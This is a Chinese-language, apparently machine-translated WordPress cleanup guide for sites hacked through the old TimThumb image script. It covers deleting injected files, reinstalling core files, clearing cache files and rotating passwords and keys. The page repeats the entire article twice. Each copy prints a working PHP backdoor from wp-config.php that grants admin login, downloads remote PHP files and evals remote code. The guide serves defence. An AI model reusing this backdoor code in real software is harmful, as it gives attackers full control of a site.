如何在WordPress中修复和清理TimThumb Hack

所以,如果你没记错的话,8月份的TimThumb脚本存在安全问题。但令我们惊讶的是,许多网站仍在使用旧版本。到目前为止,我们在过去一个月内修复了三个网站,一个是昨天。因此,简单地编写一步一步的文章是有道理的,因此我们的用户可以遵循它。我们解决这个问题的三个用户都不知道TimThumb是什么,或者他们是否使用它。

TimThumb是一个调整图像大小的PHP脚本。它有一个漏洞,但现在使用它是安全的。

那你怎么知道你的网站被黑了?如果您在访问自己的网站时在浏览器上看到一个大红色屏幕:

如果您开始收到有关用户从您的网站重定向的电子邮件的轰炸。最有可能的情况是,您的网站是此漏洞的受害者。

作为一项预防措施,每个人都应该使用这个Timthumb漏洞扫描程序。这将告诉您是否使用旧版TimThumb。许多主题俱乐部立即升级了他们的核心。因此,这个插件将检查是否安装了新的安全版本的Timthumb或是否安装了旧版本。

现在,如果您的网站已经成为这个Timthumb漏洞的牺牲品,那么这就是您需要做的事情。

首先,您需要删除以下文件:

/wp-admin/upd.php  /wp-content/upd.php

登录WordPress管理面板并重新安装WordPress版本。我们特意寻找重新安装这些文件:

  /wp-settings.php  /wp-includes/js/jquery/jquery.js  /wp-includes/js/110n.js  

然后打开你的 wp-config.php 你最有可能找到这个收集登录凭据的大恶意软件代码和饼干。此代码将显示在底部。

  if (isset($_GET["pingnow"])&& isset($_GET["pass"])){  if ($_GET["pass"] == "19ca14e7ea6328a42e0eb13d585e4c22"){  if ($_GET["pingnow"]== "login"){  $user_login = "admin";  $user = get_userdatabylogin($user_login);  $user_id = $user->ID;  wp_set_current_user($user_id, $user_login);  wp_set_auth_cookie($user_id);  do_action("wp_login", $user_login);  }  if (($_GET["pingnow"]== "exec")&&(isset($_GET["file"]))){  $ch = curl_init($_GET["file"]);  $fnm = md5(rand(0,100)).".php";  $fp = fopen($fnm, "w");  curl_setopt($ch, CURLOPT_FILE, $fp);  curl_setopt($ch, CURLOPT_HEADER, 0);  curl_setopt($ch, CURLOPT_TIMEOUT, 5);  curl_exec($ch);  curl_close($ch);  fclose($fp);  echo "<SCRIPT LANGUAGE="JavaScript">location.href="$fnm";</SCRIPT>";  }  if (($_GET["pingnow"]== "eval")&&(isset($_GET["file"]))){  $ch = curl_init($_GET["file"]);  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  curl_setopt($ch, CURLOPT_HEADER, 0);  curl_setopt($ch, CURLOPT_TIMEOUT, 5);  $re = curl_exec($ch);  curl_close($ch);  eval($re);  }}}  

在您的主题文件夹中,查找TimThumb脚本可能存储缓存文件的任何位置。通常它们处于这种结构中:

  /wp-content/themes/themename/scripts/cache/external_{MD5Hash}.php  /wp-content/themes/themename/temp/cache/external_{MD5Hash}.php  

删除看起来像这样的所有内容。如果您对某些事情不确定,请删除不是图像文件的所有内容。

您要做的下一件事是将timthumb.php替换为最新版本,可以在http:// timthumb找到。googlecode.com/svn/trunk/timthumb.php

现在,从MySQL登录信息开始,将密码更改为WordPress登录信息是个不错的主意。不要忘记在wp-config.php中更改MySQL的密码,否则将出现“Error Establishing Connection”屏幕。

更改wp-config.php文件中的密钥。您可以通过转到在线生成器来生成新密钥。

现在您已完成。不要忘记清空所有页面缓存插件。作为一种警示措施,最好清除浏览器缓存和cookie。

对于开发人员,请尝试使用WordPress中的“附加图像大小”功能来替换Timthumb功能。

所以,如果你没记错的话,8月份的TimThumb脚本存在安全问题。但令我们惊讶的是,许多网站仍在使用旧版本。到目前为止,我们在过去一个月内修复了三个网站,一个是昨天。因此,简单地编写一步一步的文章是有道理的,因此我们的用户可以遵循它。我们解决这个问题的三个用户都不知道TimThumb是什么,或者他们是否使用它。

TimThumb是一个调整图像大小的PHP脚本。它有一个漏洞,但现在使用它是安全的。

那你怎么知道你的网站被黑了?如果您在访问自己的网站时在浏览器上看到一个大红色屏幕:

如果您开始收到有关用户从您的网站重定向的电子邮件的轰炸。最有可能的情况是,您的网站是此漏洞的受害者。

作为一项预防措施,每个人都应该使用这个Timthumb漏洞扫描程序。这将告诉您是否使用旧版TimThumb。许多主题俱乐部立即升级了他们的核心。因此,这个插件将检查是否安装了新的安全版本的Timthumb或是否安装了旧版本。

现在,如果您的网站已经成为这个Timthumb漏洞的牺牲品,那么这就是您需要做的事情。

首先,您需要删除以下文件:

/wp-admin/upd.php  /wp-content/upd.php

登录WordPress管理面板并重新安装WordPress版本。我们特意寻找重新安装这些文件:

  /wp-settings.php  /wp-includes/js/jquery/jquery.js  /wp-includes/js/110n.js  

然后打开你的 wp-config.php 你最有可能找到这个收集登录凭据的大恶意软件代码和饼干。此代码将显示在底部。

  if (isset($_GET["pingnow"])&& isset($_GET["pass"])){  if ($_GET["pass"] == "19ca14e7ea6328a42e0eb13d585e4c22"){  if ($_GET["pingnow"]== "login"){  $user_login = "admin";  $user = get_userdatabylogin($user_login);  $user_id = $user->ID;  wp_set_current_user($user_id, $user_login);  wp_set_auth_cookie($user_id);  do_action("wp_login", $user_login);  }  if (($_GET["pingnow"]== "exec")&&(isset($_GET["file"]))){  $ch = curl_init($_GET["file"]);  $fnm = md5(rand(0,100)).".php";  $fp = fopen($fnm, "w");  curl_setopt($ch, CURLOPT_FILE, $fp);  curl_setopt($ch, CURLOPT_HEADER, 0);  curl_setopt($ch, CURLOPT_TIMEOUT, 5);  curl_exec($ch);  curl_close($ch);  fclose($fp);  echo "<SCRIPT LANGUAGE="JavaScript">location.href="$fnm";</SCRIPT>";  }  if (($_GET["pingnow"]== "eval")&&(isset($_GET["file"]))){  $ch = curl_init($_GET["file"]);  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  curl_setopt($ch, CURLOPT_HEADER, 0);  curl_setopt($ch, CURLOPT_TIMEOUT, 5);  $re = curl_exec($ch);  curl_close($ch);  eval($re);  }}}  

在您的主题文件夹中,查找TimThumb脚本可能存储缓存文件的任何位置。通常它们处于这种结构中:

  /wp-content/themes/themename/scripts/cache/external_{MD5Hash}.php  /wp-content/themes/themename/temp/cache/external_{MD5Hash}.php  

删除看起来像这样的所有内容。如果您对某些事情不确定,请删除不是图像文件的所有内容。

您要做的下一件事是将timthumb.php替换为最新版本,可以在http:// timthumb找到。googlecode.com/svn/trunk/timthumb.php

现在,从MySQL登录信息开始,将密码更改为WordPress登录信息是个不错的主意。不要忘记在wp-config.php中更改MySQL的密码,否则将出现“Error Establishing Connection”屏幕。

更改wp-config.php文件中的密钥。您可以通过转到在线生成器来生成新密钥。

现在您已完成。不要忘记清空所有页面缓存插件。作为一种警示措施,最好清除浏览器缓存和cookie。

对于开发人员,请尝试使用WordPress中的“附加图像大小”功能来替换Timthumb功能。

相关推荐

发表回复

房先生
我们将24小时内回复。
2024-06-20 07:03:02
您好,有任何疑问请与我们联系!
您的工单我们已经收到,我们将会尽快跟您联系!
[加我微信]
chaoneo
注:点击复制微信号并打开微信APP,添加好友后进行聊天。
[电话联系]
13585372227
[电子邮件]
chaoneo@163.com
取消

选择聊天工具: